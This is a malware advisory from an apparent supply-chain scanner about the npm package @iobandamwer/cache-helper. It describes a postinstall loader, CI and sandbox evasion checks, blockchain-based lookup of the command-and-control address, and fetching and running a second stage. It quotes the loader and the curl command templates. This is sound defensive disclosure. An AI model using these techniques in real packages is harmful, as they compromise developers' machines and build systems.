@iobandamwer/cache-helper@1.0.3
Malicious code in @iobandamwer/cache-helper (npm)
Analysis
This package is a loader disguised as a cache utility. Its only JavaScript is a 47-byte index.js and a postinstall hook that both run `node -e "try{require('./addon.node').init()}catch(e){}"`, silently swallowing any error while loading a 21 KB native ELF Node-API addon (addon.node) that carries the real payload. On install the addon reads an encrypted configuration blob shipped as `.cache`, then fingerprints the host before doing anything else: it enumerates CI environment variables (GITHUB_ACTIONS, GITLAB_CI, TRAVIS, CIRCLECI, JENKINS_URL, BUILDKITE, CODEBUILD_BUILD_ID, APPVEYOR, DRONE, SEMAPHORE, TEAMCITY_VERSION, BITBUCKET_BUILD_NUMBER, NETLIFY, VERCEL, CF_BUILD_ID) and inspects /proc/1/cgroup, /proc/1/cmdline, /proc/meminfo, /proc/cpuinfo, /proc/self/status (TracerPid) and /proc/self/maps to detect containers, sandboxes and debuggers. It then resolves its command-and-control address from the blockchain instead of hardcoding it, issuing an EVM JSON-RPC call through curl: `curl -sS -m 10 -X POST -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"eth_getStorageAt","params":["%s","%s","latest"],"id":1}' '%s'`, parsing the returned `"result":"0x…"` storage value. Finally it downloads a second-stage payload with `curl -sS -m 30 -L --max-redirs 5 -o '<path>' '<url>'` into `/tmp/.<pid>`, marks it executable with chmod, and launches it detached via fork/setsid/execlp. No C2 host, IP or contract address is hardcoded in the package; both the RPC endpoint and the contract are supplied by the encrypted `.cache` blob and the on-chain lookup, so the network indicator only appears at runtime.
- analyzed by
- Leitwacht
- first seen
- Oct 26, 2026, 12:20 AM
- analyzed
- Oct 26, 2026, 06:21 AM
Related advisories
- @iobandamwer/cache-helper@1.0.2 same package
- suggestedtests@0.1.2
- @stellarshift/token-units@1.0.1
- node-request-utils@1.0.0
- chrome-enterprise-premium-mcp@1.0.0
- dolyame-boxy-desktop-bnpl-popup@35.8.4
- bnpl-blocks-atom-bnpl-reviews-counter@35.3.6
- bnpl-blocks-desktop-bnpl-text-block@35.9.4
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.